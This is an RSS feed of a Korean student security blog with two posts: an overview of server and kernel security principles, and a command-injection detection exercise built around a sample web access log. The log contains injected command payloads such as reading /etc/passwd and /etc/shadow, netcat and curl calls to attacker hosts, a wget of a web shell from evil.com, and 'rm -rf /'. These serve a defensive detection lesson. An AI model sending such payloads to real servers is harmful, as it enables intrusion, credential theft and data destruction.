<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>Jaehyun's IT</title>
    <link>https://jaehyun60.tistory.com/</link>
    <description>대학교 생활을 돌아보며 공부했던 내용을 정리해 보려 개설한 블로그입니다.</description>
    <language>ko</language>
    <pubDate>Tue, 7 Apr 2026 02:58:58 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>천천히, 한 걸음씩</managingEditor>
    <item>
      <title>서버 보안</title>
      <link>https://jaehyun60.tistory.com/110</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;*시스템 : 보안의 통상적인 관점에서의 시스템은 os 및 서버를 칭한다.&lt;br /&gt;그러나 &quot;운영체제(OS)는 시스템 자원을 관리한다&quot;는 문맥에서의 시스템은 컴퓨터 하드웨어를 포함하는 의미로도 사용된다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;1. 컴퓨터 하드웨어(시스템 자원)의 구성 요소&lt;/b&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;CPU : 중앙처리장치(연산 및 제어 장치)&lt;/li&gt;
&lt;li&gt;RAM : 주기억장치 (휘발성)&lt;/li&gt;
&lt;li&gt;DISK : 보조기억장치 (데이터를 영구적으로 보관)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;2. 운영체제의 핵심 구성 요소&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;커널 : 주기억장치에 상주하며 사용자 프로그램을 관리하는 &lt;b&gt;운영체제의 핵심 역할&lt;/b&gt;로 &lt;b&gt;시스템 자원을 관리&lt;/b&gt;한다.&lt;/li&gt;
&lt;li&gt;셸 : 사용자가 입력한 명령어를 해석하고 시스템 콜을 호출하여 커널에 전달하고 그 결과를 출력하는 명령어 인터페이&lt;/li&gt;
&lt;li&gt;파일 시스템 : 정보를 저장하는 기본적 구조로, 시스템 관리 및 기본 환경을 제공하고, 계층적인 트리 구조 형태&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;3. 커널 레벨과 유저 레벨&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;개요 : 통상적으로 OS(엄밀히 구분하면 커널)는 시스템 자원을 관리하기에 CPU의 Ring3, Ring0 아키텍처를 적용하며, 이에 따라 대부분의 os에는 커널 레벨과 유저 레벨이 나뉘게 된다.&lt;/li&gt;
&lt;li&gt;유저 레벨(Ring 3)
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;정의 : 사용자가 실행하는 대부분의 애플리케이션이 동작하는 영역 (웹 서버, DB, 쉘, 일반 프로세스 등)&lt;/li&gt;
&lt;li&gt;보안 이슈 : SQL 인젝션, 웹쉘, 크리덴셜(PW)탈취&lt;/li&gt;
&lt;li&gt;특징 : 보안 이벤트 발생 시 감사(Audit) 트레일 및 애플리케이션 로그가 정상적으로 기록&lt;/li&gt;
&lt;li&gt;보안 : 방화벽(네트워크 보안), 웹 방화벽(waf), 안티바이러스(백신) 등 애플리케이션 및 네트워크 계층 통제&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;커널 레벨(Ring 0)
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;정의 : 하드웨어(CPU&amp;middot;RAM&amp;middot;DISK)를 직접 제어하는 운영체제의 핵심 영역&lt;/li&gt;
&lt;li&gt;보안 이슈 : 루트킷, 커널 익스플로잇, bpfdoor&lt;/li&gt;
&lt;li&gt;특징 : 커널 제어권이 탈취될 경우 시스템 전반의 무결성이 훼손된다. 공격자가 시스템 콜을 후킹하여 감사 로그 기록을 무력화하고, 특정 프로세스 및 파일을 시스템상에서 완벽하게 은닉할 수 있어 매우 치명적이다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;4. 서버 보안의 핵심 원칙 4가지&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;최소 권한의 원칙 (Least Privilege)
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;정의 : 사용자나 프로세스가 작업을 수행하는 데 필요한 가장 낮은 수준의 권한만 부여하는 것&lt;/li&gt;
&lt;li&gt;예시 (리눅스 환경)
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;모든 작업을 root로 하지 않고 일반 유저 생성 후 사용&lt;/li&gt;
&lt;li&gt;관리자 작업 시에만 sudo 사용&lt;/li&gt;
&lt;li&gt;웹 서버 (Apache&amp;middot;Nginx) 구동 시 nobody나 www-data와 같은 저권한 계정 사용&lt;/li&gt;
&lt;li&gt;파일 권한 설정시 777권한 사용 금지&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;방어 심층의 원칙 (Defense in Depth)&amp;nbsp;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;정의 :&amp;nbsp; 단일 보안 계층에 의존하지 않고 여러 겹의 보안 통제를 중첩하여 적용하는 것&lt;/li&gt;
&lt;li&gt;예시 (리눅스 환경)
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;Well known 포트 번호 변경 (기본 ssh 포트 번호 변경)&lt;/li&gt;
&lt;li&gt;방화벽(iptables, ufw 등)을 통한 특정 ip 접근 제한&lt;/li&gt;
&lt;li&gt;비밀번호 대신 공개키 기반 인증 방식 사용&lt;/li&gt;
&lt;li&gt;Fail2ban 등을 활용한 무작위 대입 공격 자동 차단&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;최소화의 원칙(Minimization)&amp;nbsp;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;정의 : 시스템의 복잡도를 줄이고, 외부와 연결되는 공격 표면을 최소한으로 유지하는 것&lt;/li&gt;
&lt;li&gt;&amp;nbsp;예시 (리눅스 환경)
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;사용하지 않는 포트와 서비스(데몬) 비활성화 (systemctl disable)&lt;/li&gt;
&lt;li&gt;불필요한 패키지 설치 금지 및 기존 불필요 패키지 삭제&lt;/li&gt;
&lt;li&gt;기본 설정을 그대로 사용하지 않고 보안이 강화된 설정으로 변경&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;책임 추적성의 원칙 (Accountability)
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;정의 : 시스템에서 발생하는 모든 중요 이벤트를 로그로 남겨 문제 발생 시 원인과 행위자를 명확히 식별하고 증명할 수 있도록 하는 것&lt;/li&gt;
&lt;li&gt;예시 (리눅스 환경)
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;공용 계쩡 사용 및 root 비밀번호 공유 금지 (sudo 사용 권장)&lt;/li&gt;
&lt;li&gt;중요 로그 파일(/var/log/syslog, /var/log/auth.log 등)의 무결성 보장 및 별도 서버에 분리 보관&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;5. 커널 보안의 핵심요소&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;시스템 콜
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;정의 : 유저 레벨의 애플리케이션이 커널 레벨로 넘어가 하드웨어 제어 등 특권 명령을 요청하기 위한 통로&lt;/li&gt;
&lt;li&gt;종류
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;프로세스 제어
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;execve : 프로그램 실행&lt;/li&gt;
&lt;li&gt;fork() : 프로세스 복제&lt;/li&gt;
&lt;li&gt;exit() : 종료&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;파일 조작&amp;nbsp;
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;read : 파일 읽기&lt;/li&gt;
&lt;li&gt;write : 파일 쓰기 및 수정&lt;/li&gt;
&lt;li&gt;open : 파일 열기&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;통신
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;socket : 통신 창구 열기&lt;/li&gt;
&lt;li&gt;send(), recv() : 데이터 송수신&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;장치 관리&amp;nbsp;
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;ioctl : 장치 제어 파라미터 설정 등 물리적 하드웨어(키보드, 모니터, 하드디스크 등) 접근&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;정보 유지
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;getpid() : 현재 프로세스 번호 확인&lt;/li&gt;
&lt;li&gt;&amp;nbsp;gettimeofday() : 시스템 시간 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;보안 관점 : 해커가 루트 권한을 획득한 뒤, 커널 내부의 시스템 콜 테이블을 조작하여 감사 로그를 우회하거나 악성 프로세스를 은닉할 수 있음&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;리눅스 케이퍼빌리티
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;정의 : 기존의 이분화된 권한(root외에는 일반 사용자) 구조에서 벗어나, 막강한 root권한을 약 40여 개의 세분화된 권한 조각으로 쪼개서 관리하는 메커니즘&lt;/li&gt;
&lt;li&gt;활용 : 웹 서버 구동 시 전체 파일 시스템을 제어할 수 있는 root 권한 대신 1024번 이하의 특권 포트만 열 수 있는 권한(CAP_NET_BIND_SERVICE)만 부여&lt;/li&gt;
&lt;li&gt;정 사항 : 보안상 취약할 수 있는 setuid 대신 시스템 프로세스에 필요한 최소한의 케이퍼빌리티만 부여하여 최소 권한 원칙을 커널 레벨에서 기술적으로 구현 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;LSM (Linux Security Modules) - 커널 보안 프레임워크
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;정의 : 리눅스 커널이 악성 행위를 원천적으로 방지하기 위해 제공하는 강제적 접근 통제(MAC) 기반 보안 프레임워크&lt;/li&gt;
&lt;li&gt;활용 예시 : SElinux(레드햇 개열), AppArmor(데비안/우분투 계열)&lt;/li&gt;
&lt;li&gt;핵심 원리 : 시스템 콜이 실행되기 전 마지막으로 LSM 훅(Hook)을 거치게 되며, 루트 권한을 탈취한 해커라도 사전 정의된 보안 정책에 허용되지 않은 파일이나 네트워크 자원에는 접근할 수 없다. (커널 레벨 방어의 꽃)&lt;/li&gt;
&lt;li&gt;한계 : 커널 자체에 존재하는메모리 변조 취약점을 통해 커널 메모리 영역을 직접 조작 시 무력화 혹은 우회될 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;eBPF (Extended Berkeley Packet Filter)
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;정의 : 커널 소스 코드를 수정하거나 재부팅하지 않고도 커널 내부의 안전한 샌드박스 환경에서 사용자 정의 프로그램을 실행하여 시스템과 네트워크를 모니터링하는 최신 기술&amp;nbsp; &amp;nbsp;&lt;/li&gt;
&lt;li&gt;보안 관점 : 과거에는 커널의 동작을 감시하기 위해 커널 모듈(LKM)을 직접 심어야 했으나 이는 시스템 전체 다운의 리스크가 있었음. 반면 eBPF는 이러한 리스크 없이 안전하게 감시할 수 있어 최신 클라우드 및 서버 보안 솔루션의 핵심 기술로 평가받는다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Security</category>
      <category>보안 #정보보안 #서버보안 #보안솔루션 #커널 #리눅스 #운영</category>
      <category>안 #정보보안 #서버보안 #보안솔루션 #커널 #리눅스 #운영체제 #OS</category>
      <author>천천히, 한 걸음씩</author>
      <guid isPermaLink="true">https://jaehyun60.tistory.com/110</guid>
      <comments>https://jaehyun60.tistory.com/110#entry110comment</comments>
      <pubDate>Sun, 22 Feb 2026 14:37:43 +0900</pubDate>
    </item>
    <item>
      <title>웹 로그 기반 명령 줄 주입(Command Injection) 탐지 정규표현식 로직</title>
      <link>https://jaehyun60.tistory.com/109</link>
      <description>&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Plaintext&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;192.168.0.1 - - [10/Jan/2026:14:00:01] &quot;GET /index.php HTTP/1.1&quot; 200 1024 &quot;-&quot; &quot;Mozilla/5.0&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;10.10.10.1 - - [10/Jan/2026:14:00:05] &quot;GET /about.html HTTP/1.1&quot; 200 512 &quot;-&quot; &quot;Mozilla/5.0&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;192.168.0.5 - - [10/Jan/2026:14:00:10] &quot;GET /images/logo.png HTTP/1.1&quot; 200 20480 &quot;-&quot; &quot;Mozilla/5.0&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;172.16.10.1 - - [10/Jan/2026:14:00:15] &quot;GET /login.php HTTP/1.1&quot; 200 1500 &quot;-&quot; &quot;Mozilla/5.0&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;111.111.111.111 - - [10/Jan/2026:14:01:05] &quot;GET /ping.php?addr=127.0.0.1;cat%20/etc/passwd HTTP/1.1&quot; 200 512 &quot;-&quot; &quot;Mozilla/5.0&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;192.168.0.2 - - [10/Jan/2026:14:01:10] &quot;GET /search?q=cat+food HTTP/1.1&quot; 200 500 &quot;-&quot; &quot;Mozilla/5.0&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;192.168.0.3 - - [10/Jan/2026:14:01:15] &quot;GET /search?q=notebook;mouse HTTP/1.1&quot; 200 521 &quot;-&quot; &quot;Mozilla/5.0&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;222.222.222.222 - - [10/Jan/2026:14:02:10] &quot;GET /board/view?id=500|nc%20192.168.100.100%201234 HTTP/1.1&quot; 500 124 &quot;-&quot; &quot;Python-urllib/3.8&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;192.168.0.4 - - [10/Jan/2026:14:02:15] &quot;GET /shop/list?category=shoes|clothes HTTP/1.1&quot; 200 1500 &quot;-&quot; &quot;Mozilla/5.0&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;192.168.0.5 - - [10/Jan/2026:14:02:20] &quot;GET /download/wget-manual.pdf HTTP/1.1&quot; 200 35000 &quot;-&quot; &quot;Mozilla/5.0&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;133.133.133.133 - - [10/Jan/2026:14:03:00] &quot;GET /calc.php?value=$(whoami) HTTP/1.1&quot; 403 201 &quot;-&quot; &quot;curl/7.68.0&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;192.168.0.6 - - [10/Jan/2026:14:03:05] &quot;GET /api/price?val=$100 HTTP/1.1&quot; 200 3000 &quot;-&quot; &quot;Mozilla/5.0&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;192.168.0.7 - - [10/Jan/2026:14:03:10] &quot;GET /assets/jquery.min.js HTTP/1.1&quot; 200 50000 &quot;-&quot; &quot;Mozilla/5.0&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;224.224.234.253 - - [10/Jan/2026:14:04:00] &quot;GET /mypage?name=%3Bcat%20/etc/shadow HTTP/1.1&quot; 200 512 &quot;-&quot; &quot;Mozilla/5.0&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;192.168.0.8 - - [10/Jan/2026:14:04:05] &quot;GET /search?q=User[1] HTTP/1.1&quot; 200 100 &quot;-&quot; &quot;Mozilla/5.0&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;192.168.0.9 - - [10/Jan/2026:14:04:10] &quot;GET /board/view?id=100&amp;amp;page=1 HTTP/1.1&quot; 200 3000 &quot;-&quot; &quot;Mozilla/5.0&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;124.1.1.213 - - [10/Jan/2026:14:05:00] &quot;GET /cmd.php?cmd=%7C%20/bin/sh HTTP/1.1&quot; 200 1024 &quot;-&quot; &quot;Mozilla/5.0&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;192.168.0.10 - - [10/Jan/2026:14:05:05] &quot;GET /blog/post.php?tag=c++ HTTP/1.1&quot; 200 3000 &quot;-&quot; &quot;Mozilla/5.0&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;192.168.0.11 - - [10/Jan/2026:14:05:10] &quot;GET /help/faq.html HTTP/1.1&quot; 200 1024 &quot;-&quot; &quot;Mozilla/5.0&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;152.142.16.66 - - [10/Jan/2026:14:06:00] &quot;GET /ping.php?ip=127.0.0.1%3Bwget%20&lt;a href=&quot;http://evil.com/shell.php&quot;&gt;http://evil.com/shell.php&lt;/a&gt; HTTP/1.1&quot; 200 100 &quot;-&quot; &quot;Mozilla/5.0&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;192.168.0.12 - - [10/Jan/2026:14:06:05] &quot;GET /images/cat_picture.jpg HTTP/1.1&quot; 200 20480 &quot;-&quot; &quot;Mozilla/5.0&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;192.168.0.13 - - [10/Jan/2026:14:06:10] &quot;GET /manual/nc_guide.html HTTP/1.1&quot; 200 1500 &quot;-&quot; &quot;Mozilla/5.0&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;177.177.177.177 - - [10/Jan/2026:14:07:00] &quot;GET /admin?user=%24%7Bwhoami%7D HTTP/1.1&quot; 200 512 &quot;-&quot; &quot;Mozilla/5.0&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;192.168.0.14 - - [10/Jan/2026:14:07:05] &quot;GET /api/v1/users?id=1|2|3 HTTP/1.1&quot; 200 1024 &quot;-&quot; &quot;Mozilla/5.0&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;192.168.0.15 - - [10/Jan/2026:14:07:10] &quot;GET /js/script.js?v=1.0; HTTP/1.1&quot; 200 3000 &quot;-&quot; &quot;Mozilla/5.0&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;188.188.188.188 - - [10/Jan/2026:14:08:00] &quot;GET /input?data=%3B%20ls%20-al HTTP/1.1&quot; 200 100 &quot;-&quot; &quot;Mozilla/5.0&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;192.168.0.16 - - [10/Jan/2026:14:08:05] &quot;GET /search?q=hello%20world HTTP/1.1&quot; 200 500 &quot;-&quot; &quot;Mozilla/5.0&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;192.168.0.17 - - [10/Jan/2026:14:08:10] &quot;GET /login.do;jsessionid=ABC1234 HTTP/1.1&quot; 200 512 &quot;-&quot; &quot;Mozilla/5.0&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;199.199.199.199 - - [10/Jan/2026:14:09:00] &quot;GET /check?host=localhost%7Ccurl%20&lt;a href=&quot;http://attacker.com&quot;&gt;http://attacker.com&lt;/a&gt; HTTP/1.1&quot; 200 124 &quot;-&quot; &quot;curl/7.68.0&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;192.168.0.18 - - [10/Jan/2026:14:09:05] &quot;GET /product/view?id=100$200 HTTP/1.1&quot; 200 3000 &quot;-&quot; &quot;Mozilla/5.0&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;192.168.0.19 - - [10/Jan/2026:14:09:10] &quot;GET /download/report.pdf HTTP/1.1&quot; 200 50000 &quot;-&quot; &quot;Mozilla/5.0&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;123.123.123.123 - - [10/Jan/2026:14:10:00] &quot;GET /test.php?cmd=%24(id) HTTP/1.1&quot; 200 100 &quot;-&quot; &quot;Mozilla/5.0&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;192.168.0.20 - - [10/Jan/2026:14:10:05] &quot;GET /images/banner.gif HTTP/1.1&quot; 200 10240 &quot;-&quot; &quot;Mozilla/5.0&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;192.168.0.21 - - [10/Jan/2026:14:10:10] &quot;GET /contact.html HTTP/1.1&quot; 200 512 &quot;-&quot; &quot;Mozilla/5.0&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;234.234.234.234 - - [10/Jan/2026:14:11:00] &quot;GET /api?q=1%3B%20/bin/cat%20/etc/passwd HTTP/1.1&quot; 200 512 &quot;-&quot; &quot;Mozilla/5.0&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;192.168.0.22 - - [10/Jan/2026:14:11:05] &quot;GET /search?q=100%25 HTTP/1.1&quot; 200 500 &quot;-&quot; &quot;Mozilla/5.0&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;192.168.0.23 - - [10/Jan/2026:14:11:10] &quot;GET /board/list HTTP/1.1&quot; 200 3000 &quot;-&quot; &quot;Mozilla/5.0&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;245.245.245.245 - - [10/Jan/2026:14:12:00] &quot;GET /shell?cmd=%7Cwhoami HTTP/1.1&quot; 200 100 &quot;-&quot; &quot;Mozilla/5.0&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;192.168.0.24 - - [10/Jan/2026:14:12:05] &quot;GET /robots.txt HTTP/1.1&quot; 200 100 &quot;-&quot; &quot;Mozilla/5.0&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;192.168.0.25 - - [10/Jan/2026:14:12:10] &quot;GET /sitemap.xml HTTP/1.1&quot; 200 5000 &quot;-&quot; &quot;Mozilla/5.0&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;156.252.156.156 - - [10/Jan/2026:14:13:00] &quot;GET /run?exec=%60id%60 HTTP/1.1&quot; 200 100 &quot;-&quot; &quot;Mozilla/5.0&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;192.168.0.26 - - [10/Jan/2026:14:13:05] &quot;GET /news/index.html HTTP/1.1&quot; 200 1024 &quot;-&quot; &quot;Mozilla/5.0&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;192.168.0.27 - - [10/Jan/2026:14:13:10] &quot;GET /weather?city=Seoul HTTP/1.1&quot; 200 500 &quot;-&quot; &quot;Mozilla/5.0&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;227.227.227.27 - - [10/Jan/2026:14:14:00] &quot;GET /debug?val=%26%26%20cat%20/etc/hosts HTTP/1.1&quot; 200 512 &quot;-&quot; &quot;Mozilla/5.0&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;192.168.0.28 - - [10/Jan/2026:14:14:05] &quot;GET /info.php HTTP/1.1&quot; 200 100 &quot;-&quot; &quot;Mozilla/5.0&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;192.168.0.29 - - [10/Jan/2026:14:14:10] &quot;GET /status HTTP/1.1&quot; 200 100 &quot;-&quot; &quot;Mozilla/5.0&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;178.178.178.178 - - [10/Jan/2026:14:15:00] &quot;GET /login?user=admin%27%20or%201=1-- HTTP/1.1&quot; 200 1000 &quot;-&quot; &quot;SQLMap/1.4&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;192.168.0.30 - - [10/Jan/2026:14:15:05] &quot;GET /main.css HTTP/1.1&quot; 200 2048 &quot;-&quot; &quot;Mozilla/5.0&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;192.168.0.31 - - [10/Jan/2026:14:15:10] &quot;GET /app.js HTTP/1.1&quot; 200 5000 &quot;-&quot; &quot;Mozilla/5.0&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;189.189.189.189 - - [10/Jan/2026:14:16:00] &quot;GET /api/check?id=1;%20/bin/rm%20-rf%20/ HTTP/1.1&quot; 200 100 &quot;-&quot; &quot;Mozilla/5.0&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;&lt;span&gt;분석 목표&lt;/span&gt;&lt;span&gt; (Mission)&lt;/span&gt;&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;이 로그 파일에서 진짜 공격자&lt;/span&gt;&lt;span&gt; IP&lt;/span&gt;&lt;span&gt;만 추출하기&lt;/span&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;span&gt;세미콜론&lt;/span&gt;&lt;span&gt;(;, %3B) &lt;/span&gt;&lt;span&gt;공격&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;단순 검색어나&lt;/span&gt;&lt;span&gt; jsessionid&lt;/span&gt;&lt;span&gt;는 제외하고&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;뒤에&lt;/span&gt;&lt;span&gt; cat, ls, wget, rm &lt;/span&gt;&lt;span&gt;같은 명령어가 오는 것&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;파이프&lt;/span&gt;&lt;span&gt;(|, %7C) &lt;/span&gt;&lt;span&gt;공격&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; shoes|clothes &lt;/span&gt;&lt;span&gt;같은 단순 나열은 제외하고&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;뒤에&lt;/span&gt;&lt;span&gt; nc, curl, whoami, /bin/sh &lt;/span&gt;&lt;span&gt;등이 오는 것&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;달러&lt;/span&gt;&lt;span&gt;($, %24) &lt;/span&gt;&lt;span&gt;공격&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; $100(&lt;/span&gt;&lt;span&gt;금액&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;은 제외하고&lt;/span&gt;&lt;span&gt;, $(...) &lt;/span&gt;&lt;span&gt;또는&lt;/span&gt;&lt;span&gt; ${...} &lt;/span&gt;&lt;span&gt;형태로 명령어 실행을 시도하는 것&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
